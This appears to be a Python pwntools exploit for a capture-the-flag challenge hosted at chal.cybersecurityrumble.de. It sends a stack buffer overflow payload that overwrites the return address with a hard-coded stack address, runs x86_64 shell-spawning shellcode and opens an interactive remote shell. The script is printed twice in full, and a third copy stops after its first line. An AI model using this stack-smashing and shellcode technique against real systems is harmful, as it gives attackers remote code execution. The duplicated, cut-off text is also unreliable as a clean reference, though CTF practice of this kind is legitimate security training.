#!/usr/bin/env python3

from pwn import *

context.arch = 'x86_64'
context.log_level = 'INFO'
context.log_file = 'remote.log'
p = remote('chal.cybersecurityrumble.de', 1990)
stack = 0x00007fffffffe7a0

payload  = 2 * b'A'
payload += (0x78 - len(payload)) * b'\0'
payload += p64(stack)
payload += asm(shellcraft.sh())

p.sendlineafter('return.\n',payload)
p.interactive()

#!/usr/bin/env python3

from pwn import *

context.arch = 'x86_64'
context.log_level = 'INFO'
context.log_file = 'remote.log'
p = remote('chal.cybersecurityrumble.de', 1990)
stack = 0x00007fffffffe7a0

payload  = 2 * b'A'
payload += (0x78 - len(payload)) * b'\0'
payload += p64(stack)
payload += asm(shellcraft.sh())

p.sendlineafter('return.\n',payload)
p.interactive()

#!/usr/bin/env python3